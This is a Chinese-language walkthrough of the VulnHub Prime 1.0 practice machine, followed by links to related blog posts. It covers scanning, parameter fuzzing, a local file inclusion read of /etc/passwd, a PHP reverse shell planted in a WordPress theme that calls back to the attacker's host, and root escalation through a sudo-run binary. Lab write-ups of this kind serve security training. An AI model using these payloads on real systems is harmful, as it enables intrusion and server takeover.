靶场考察知识

Wordpress

WordPress是一个免费的开源内容管理系统(CMS),可以用来创建和管理网站或博客。它是由PHP语言和MySQL数据库构建的,并且拥有大量的插件和主题,可以让您轻松地自定义网站的外观和功能

Wpscan扫描工具

WPScan是一款开源的WordPress安全扫描工具,常用于渗透测试WordPress网站。它运行在Kali Linux操作系统上,也可以在其他类Unix系统(如MacOS和Linux)上使用。

WPScan可以帮助您扫描WordPress网站以寻找漏洞,并尝试利用这些漏洞获得对目标网站的访问权限。它还可以帮助您识别目标网站使用的WordPress版本、插件和主题,并检测是否存在已知的漏洞, 下面是WPScan的一些常用操作:

1.扫描WordPress网站,列出发现的漏洞和配置问题

wpscan --url <target_url>

2.枚举WordPress网站的用户

wpscan --url <target_url> --enumerate u

3.列出WordPress网站所有安装的插件, 并检查是否存在可利用的漏洞

wpscan --url <target_url> --enumerate p

4.列出WordPress网站使用的所有主题, 并检查是否存在可利用的漏洞

wpscan --url <target_url> --enumerate t

Openssl加解密

Openssl是一个用于实现各种加密和安全协议的开源工具。可以使用openssl enc命令来加密文件,并使用openssl enc -d命令来解密加密文件

靶场搭建

prime靶场下载地址: https://download.vulnhub.com/prime/Prime_Series_Level-1.rar

渗透步骤

信息收集

1.namp扫描

扫描C段存活主机nmap -sn 192.168.47.0/24, 确定prime靶场主机为192.168.47.158

扫描开放端口, 只有22和80端口处于开放状态

2.dirb目录爆破

使用dirb对目标主机80端口进行爆破, 并将结果保存在当前文件夹的DirbReport.txt, 扫描结果如下图所示

dirb http://192.168.47.158 -o DirbReport.txt

访问目标网站的根目录, 只发现了一张kali图标图片, 没有其他线索

访问/dev目录, 页面提示意思, “你爆破的不够狠, 还需继续往深一点爆破”, 也就是说它要求我们继续使用Dirb爆破, 从而获取更多信息

调整一下Dirb的使用参数, 爆破后缀名为txt和zip的文件(往往提示信息都是以文本文件为主), 扫描结果显示, 存在secret.txt文件

dirb http://192.168.47.158 -X .txt,.zip

访问http://192.168.47.158/secret.txt, 页面显示一段话, 简单来说就是要我们对找到的每个php页面进行参数爆破, 并给予文章提供参考(https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web), 最后一段话还提示我们要获取了location.txt文件才能进行下一步的操作

根据上面的提示, 使用dirb对php页面进行爆破, 爆出image.phpindex.php

dirb http://192.168.47.158 -X .php

3.wfuzz参数爆破

读取这篇github文章, 要求我们要用wfuzz命令来对php页面进行参数爆破, 还给了一行命令来演示: wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://website.com/secret.php?FUZZ=something

–hc 404表示不显示状态码为404的页面

使用如下命令对index.php的参数进行爆破, 从爆破结果来看, 出现了很多无效信息, 我们可以通过--hc--hw, --hh来过滤信息

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://192.168.47.158/index.php?FUZZ=something

使用--hh参数排除页面响应长度为136的数据, 最终只显示一个参数结果: file

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hh 136 http://192.168.47.158/index.php?FUZZ=something

访问file参数: curl http://192.168.47.158/index.php?file , 页面显示:“干的不错, 但你挖的是一个错误的文件”, 也就是说file参数没有指定正确的文件

综合上述secret.txt中的最后一段话:“注意location.txt这个文件, 后续的操作你需要用到它”, 或许这个file参数的值可以修改为location.txt

curl http://192.168.47.158/index.php?file=location.txt

从页面显示内容上看, 它要求你在其他php页面使用"secrettier360"参数, 也就是说要在image.php使用secrettier360参数

访问image.php页面并配合secrettier360参数, 页面显示"最终你找到了正确的参数"

curl http://192.168.47.158/image.php?secrettier360

Web渗透

1.文件包含漏洞

既然上述的提示说了secrettier360这个参数是正确的, 那么可以尝试下本地文件包含漏洞, 读取系统用户信息

成功读取到了用户信息,并且在最后面的saket用户给予了我们重要信息: 在/home/saket目录下寻找password.txt文件

curl http://192.168.47.158/image.php?secrettier360=../../../../../../etc/passwd

读取/home/saket/password.txt, 它给出的密码是follow_the_ippsec, 虽然我们不知道这个密码是用来干什么的, 但是我猜可能会是SSH远程登录或者网站管理员登录其中一个

先来尝试ssh远程登录, 在上述爆出的用户信息中, 可能登录成功的用户有两个, 分别是victorsaket, 经过ssh登录尝试后, 均登录失败

2.wordpress后台拿shell

从上述dirb爆破结果可知, 该网站是一个wordpress框架, 于是我们可以从该cms漏洞入手

使用wpscan针对wordpress框架的网站进行特定漏洞扫描, 如下命令用于枚举网站用户

wpscan --url http://192.168.47.158/wordpress -e u

结果显示只有一个victor用户, 在上述读取的用户信息中, 也有一个victor用户, 那么此用户很可能是管理员用户

在上述的dirb爆破结果中, 已经爆出后台管理员页面, 当然凭借经验我们也可以大概清楚后台页面地址, 浏览器访问http://192.168.47.158/wordpress/wp-admin/user/admin.php, 然后尝试使用victor/follow_the_ippsec登录, 很幸运, 登录成功了

找到插件功能处, 首先尝试插件上传功能, 判断是否存在文件上传漏洞

这里要求我们上传zip格式的文件, 随便上传一个压缩文件, 然后点击install Now上传

文件上传失败, 提示父级目录没有写的权限

既然文件上传不行, 那么就从主题编辑入手, 依次排查所有主题文件, 寻找能够编辑(拥有写的权限)的页面, 最终发现secret.php可以编辑

在secret.php插入反弹Shell代码: <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.47.155/4444 0>&1'");?>

我们可以通过搭建wordpress框架的网站来获取主题文件的网页路径, 这里secret.php的路径是http://192.168.47.158/wordpress/wp-content/themes/twentynineteen/secret.php

在kali开启监听, 然后访问secret.php触发反弹shell

主机提权

1.查看权限

输入sudo -l查看系统权限, 发现当前用户可以使用root权限, 而无需输入root用户密码执行/home/saket/enc

进入/home/saket目录, 当前目录下有password.txt和user.txt, 但是无法查看enc文件, 因为权限不足, 但是拥有执行的权限

执行enc文件, 随后要求输入当前用户的密码, 尝试输入password.txt里面的密码, 提示文件执行失败, 说明这个密码是错误的,我们还需要在此系统下深挖正确的密码

2.搜索密码备份文件

执行如下命令, 寻找系统的所有备份文件, 因为有时候管理员会在系统留有密码备份文件

find / -name '*backup*' 2>/dev/null  | less| sort
  • find / -name '*backup*':这个命令在根目录(即 /)中搜索文件。-name 选项指定了搜索的文件名模式,在这里是 '*backup*'。这个模式表示任何文件名包含字符串 “backup” 的文件。find 命令会返回所有符合条件的文件的路径。
  • 2>/dev/null: /dev/null 是一个特殊的文件,它的作用是丢弃所有写入它的数据。即将错误输出重定向到 /dev/null 就相当于丢弃所有错误信息(例如权限不足),只保留正常输出
  • | less:管道符(|)将前一个命令的输出传递给后一个命令。在这里,less 命令是一个文本浏览器,它可以让你在终端中浏览文本文件。将 find 的输出传递给 less 可以让你在终端中更方便地查看找到的文件的路径。
  • sort:这个命令对前一个命令的输出进行排序。在这里,它将找到的文件的路径按字母顺序排序。

从上述结果来看, 此系统存在很多备份文件, 而我们要寻找的是文件名带有user或者pass这种比较可疑的, 例如/opt/backup/server_database/backup_pass

查看/opt/backup/server_database/backup_pass, 文件提示: enc文件密码为"backup_password"

3.openssl解密

使用sudo执行enc, 并输入密码backup_password, 随后在当前文件夹生成enc.txt和key.txt

首先查看enc.txt, 文件内容是一段base64加密的字符串

查看key.txt, 文件内容提示, 需要对"ippsec"字符串进行md5加密

对"ippsec"字符串进行md5加密: echo -n "ippsec" | md5sum, 加密后的字符串为366a74cb3c959de17d61db30591c39d1

echo -n 表示 echo 命令不要输出换行符。这样,输出的字符串就不会换行,而是和 md5sum 的输出在同一行

在ctf靶场中看到enc和key这两个关键字, 第一时间就该想到openssl加解密, 也就是说要使用openssl命令, 通过key值去解密enc文件的加密字符串

首先查看openssl命令中支持哪些算法: openssl --help

将openssl中支持的加密算法名称保存在CryptType文件中

如下代码为openssl常用解密命令, “-d"参数表示解密,”-a"参数表示使用base64编码,"-K"参数表示使用的密钥(需为16进制), enc是OpenSSL的编码和加密的缩写,它是OpenSSL提供的一个命令行工具,用于加密和解密文件和信息

echo '{要解密的字符串}' | openssl enc -d -a -{解密算法} -K {key值}

首先要将key值"366a74cb3c959de17d61db30591c39d1"进行16进制编码, 可使用如下od命令

echo -n "366a74cb3c959de17d61db30591c39d1" | od -An -t x1
  • -An 表示不要输出地址信息。
  • -t x1 表示使用 16 进制编码输出每个字符

为了让结果看起来更加清晰, 可以使用tr命令删除结果里的空格和换行符, 最终16进制编码的结果是3336366137346362336339353964653137643631646233303539316333396431

echo -n "366a74cb3c959de17d61db30591c39d1" | od -An -t x1 | tr -d ' '

可以使用Shell代码批量使用openssl命令对字符串尝试各种算法进行解密, 最终的执行结果提示, saket用户的密码为"tribute_to_ippsec"

for i in $(cat CryptType);do echo 'nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=' | openssl enc -d -a -$i -K 3336366137346362336339353964653137643631646233303539316333396431 2>/dev/null echo $i;done

具体来说,这段代码会对CryptType文件中的每一行读取一个算法名称,然后使用openssl命令对字符串进行解密,其中使用的算法名称就是从CryptType文件中读取的。最后将解密结果和解密算法输出

4.获取flag

ssh远程登录saket用户, 并输入解密出来的密码

为了获取一个交互性更好的shell, 可使用python命令: python -c 'import pty;pty.spawn("/bin/bash")'

查看当前用户的权限, 发现可以使用root权限无密码执行/home/victor/undefeated_victor

执行此文件时提示没有/tmp/challenge, 它可能暗示我们去创建一个

在tmp目录下创建challenge文件, 并写入如下内容

#!/bin/bash
/bin/bash

赋予challenge可执行权限, 随后执行/home/victor/undefeated_victor, 成功获取root权限

获取flag.txt

红队渗透靶场之prime1.0(超详细!)相关推荐

  1. 红队打靶:W1R3S: 1.0.1详细打靶思路(vulnhub)

    目录 写在开头 第一步:主机发现 第二步:端口扫描 第三步:FTP渗透 第四步:Web渗透 第五步 密码爆破 第六步 提权 总结与思考 写在开头 近期b站上看到大佬红队笔记的视频,详述了其打靶的思路, ...

  2. 红队渗透靶场之W1R3S靶场(超详细!)

    W1R3S考察知识 nmap的基本使用 目录爆破工具的使用 CMS漏洞的利用 Linux用户的简单提权 W1R3S靶场搭建 W1R3S靶场下载地址: https://download.vulnhub. ...

  3. 红队渗透靶场之SickOs1.1

    靶场考察知识 shellshock漏洞 shellshock即unix系统下的bash shell的一个漏洞, Bash 4.3以及之前的版本在处理某些构造的环境变量时存在安全漏洞, 向环境变量值内的 ...

  4. 攻防演练-某地级市HW攻防测试演练红队渗透测试总结

    某地级市HW攻防演练红队渗透测试总结 文章目录 某地级市HW攻防演练红队渗透测试总结 前言 一.对某目标攻击的复盘 1.Web打点 2.上免杀马反弹shell(Failed) 3.信息收集,数据库提权 ...

  5. 红蓝对抗-红队渗透下的入口权限快速获取

    红队渗透下的入口权限快速获取 文章目录 红队渗透下的入口权限快速获取 前言 红队攻击流程概述 获取入口权限 利用常见组件的漏洞 高危漏洞的检测与攻击 POC的集成与自动化验证 POC bomber 前 ...

  6. 【愚公系列】2023年05月 网络安全高级班 040.WEB渗透与安全(红队渗透测试技术分类和工具箱)

    文章目录 前言 一.红队渗透测试技术分类和工具箱 1.红队渗透测试技术分类 1.1 Web安全渗透 1.2 内网安全渗透 1.3 移动安全渗透 1.4 无线安全渗透 1.5 云安全渗透 2.红队渗透测 ...

  7. 红队渗透工具库-忍者安全系统(NINJUTSU OS v3)系统安装

    红队渗透工具库-忍者安全系统(NINJUTSU OS v3)系统安装 前言 将镜像下载好使用VM安装,我给该系统分配了70个G硬盘,6G内存 镜像下载链接:链接: https://pan.baidu. ...

  8. 【愚公系列】2023年05月 网络安全高级班 038.WEB渗透与安全(红队渗透测试入门指南)

    文章目录 前言 一.背景 1.新型IT基础设施带来全新挑战,安全范畴持续在延伸 2.APT级攻击手段众多,网络空间安全威胁加剧 3.什么是APT攻击 4.传统安全技术与管理应对乏力,众多政企单位陷入困 ...

  9. 【内网星球3.0】红队之靶场集中营(聊聊都是哪60个靶场)

    2019年11月我们选择了知识星球,星球给我们带来了第一批忠实的粉丝,也带来了很多快乐的时光,今年因为主要精力放在培训上面,而忽略了星球,这也让很多星友很是失望,不过我们不会放弃星球. 目前星球大概可 ...

最新文章

  1. ef linq 中判断实体中是否包含某集合
  2. 改善WPF应用程序性能的10大方法(转)
  3. Ansj中文分词Java开发词性分类
  4. reactjs组件的生命周期
  5. Android中对话框的工具类
  6. 使用Chronicle Wire将YAML连接到文件或网络
  7. sql移动加权计算利润_计算机视觉中的半监督学习
  8. 送给计算机老师的话,送给老师的话
  9. Windows phone7 动态添加控件
  10. 一则 Oracle 和 SqlServer 语法区别 (原创)
  11. 光环PMP一模知识点解析
  12. shel ---条件、循环
  13. 《算法谜题》-第二章 谜题
  14. QT 图片浏览器(一)
  15. JSON学习笔记-处理空白字符(使用 SSE4.2 优化字符串扫描)
  16. 产品经理与项目经理的区别?
  17. 金字塔原理-基本概念
  18. flv网页播放器php源码下载,JavaScript_js实现的万能flv网页播放器代码,本文实例讲述了js实现的万能fl - phpStudy...
  19. 三未信安提交招股书注册稿,预计2022年上半年收入同比增两到三成
  20. 文本生成:自动摘要评价指标 Rouge

热门文章

  1. 揭秘!大厂招聘内幕!如何才能进大厂
  2. MoCo v1原理解析
  3. 揭秘满清八大旗(组图)
  4. mysql中:获取字符串长度length函数和char_length函数的区别
  5. CTOR打肿黑粉脸 | 石墨烯让BCH实现技术领先
  6. 帝国cms采集图文教程(下)
  7. 理解虚数、复数、复数坐标系、复平面
  8. WINDWOS8正式版已经发出了
  9. html+css入门小项目巩固练习
  10. Mysql中any,some,all的用法以及区别